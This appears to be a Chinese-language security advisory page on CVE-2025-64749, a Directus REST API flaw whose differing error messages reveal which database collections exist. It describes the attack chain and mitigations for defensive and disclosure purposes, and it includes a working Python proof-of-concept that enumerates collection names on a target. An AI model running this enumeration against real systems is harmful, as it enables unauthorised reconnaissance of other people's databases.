IPBUF安全漏洞报告
English
CVE-2025-64749 CVSS 4.3 中危

CVE-2025-64749 Directus REST API信息泄露漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64749
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

信息泄露DirectusCWE-204REST API错误消息泄露集合枚举

漏洞概述

Directus是一款实时API和应用仪表板,用于管理SQL数据库内容。该漏洞存在于Directus REST API的`/items/{collection}`端点中,在11.13.0之前的版本中,API对两种不同场景返回了可区分的错误消息:一种是用户尝试访问已存在但无权访问的集合,另一种是用户尝试访问不存在的集合。这种错误消息的差异性导致未授权用户能够通过观察API响应来推断系统中特定集合的存在性,从而造成敏感数据库结构信息泄露。攻击者可以利用此信息进行更深入的情报收集,为后续攻击做准备。CVSS评分4.3,属于中危级别漏洞。

技术细节

该漏洞属于CWE-204类信息泄露问题(Observable Discrepancy in Response)。Directus REST API的`/items/{collection}`端点在处理请求时存在以下问题:当用户请求访问一个已存在但无权限访问的集合时,API返回一个错误消息(如"Access denied"或包含集合存在相关提示);而当用户请求访问一个不存在的集合时,API返回另一个不同的错误消息(如"Collection not found")。攻击者通过发送大量不同集合名称的请求,并分析返回的错误消息差异,可以枚举出系统中存在的所有集合名称。这种信息泄露虽然不直接导致数据访问,但为攻击者提供了宝贵的目标情报,可用于规划进一步的攻击活动,如针对特定集合的权限提升攻击或SQL注入尝试。修复方案在11.13.0版本中统一了错误消息的返回格式,消除了可区分性。

攻击链分析

STEP 1
步骤1
攻击者获取目标Directus实例的基本访问权限(低权限账户或匿名访问)
STEP 2
步骤2
攻击者向REST API的/items/{collection}端点发送请求,尝试访问不同的集合名称
STEP 3
步骤3
攻击者分析API返回的错误消息,根据差异性判断目标集合是否存在
STEP 4
步骤4
通过枚举攻击,攻击者获取系统中所有集合的名称列表
STEP 5
步骤5
攻击者利用收集到的情报,识别敏感集合并策划进一步的攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-64749 PoC - Directus Collection Enumeration # This PoC demonstrates the information disclosure vulnerability TARGET_URL = "http://target-directus-instance.com" # Replace with actual target URL # Common collection name patterns to test COMMON_COLLECTIONS = [ "users", "settings", "files", "roles", "permissions", "activity", "collections", "fields", "presets", "folders", "directus_collections", "directus_fields", "custom_collection" ] def check_collection_exists(collection_name, token=None): """ Send request to /items/{collection} endpoint Returns the error message from the response """ url = f"{TARGET_URL}/items/{collection_name}" headers = { "Content-Type": "application/json" } if token: headers["Authorization"] = f"Bearer {token}" try: response = requests.get(url, headers=headers, timeout=10) return response.json() except Exception as e: return {"error": str(e)} def analyze_error_message(response_data): """ Analyze error message to determine if collection exists The vulnerability allows distinguishing between: - Collection exists but user lacks permission - Collection does not exist """ error_msg = str(response_data).lower() # Check for signs of existing collection (permission denied) if "forbidden" in error_msg or "access denied" in error_msg or "permissions" in error_msg: return "EXISTS_NO_ACCESS" # Check for non-existing collection if "not found" in error_msg or "collection" not in error_msg: return "NOT_EXISTS" return "UNKNOWN" def main(): print(f"[*] CVE-2025-64749 PoC - Directus Collection Enumeration") print(f"[*] Target: {TARGET_URL}\n") discovered_collections = [] for collection in COMMON_COLLECTIONS: print(f"[*] Testing collection: {collection}") response = check_collection_exists(collection) result = analyze_error_message(response) if result == "EXISTS_NO_ACCESS": print(f" [+] Collection '{collection}' EXISTS (no access)") discovered_collections.append(collection) elif result == "NOT_EXISTS": print(f" [-] Collection '{collection}' does not exist") else: print(f" [?] Unknown response for '{collection}'") print(f"\n[*] Summary:") print(f" Discovered {len(discovered_collections)} collections:") for col in discovered_collections: print(f" - {col}") if __name__ == "__main__": main()

影响范围

Directus < 11.13.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/items/{collection}端点的访问频率,并对错误响应进行统一化处理,避免泄露集合存在性信息。同时确保所有API端点都要求身份验证,并实施最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表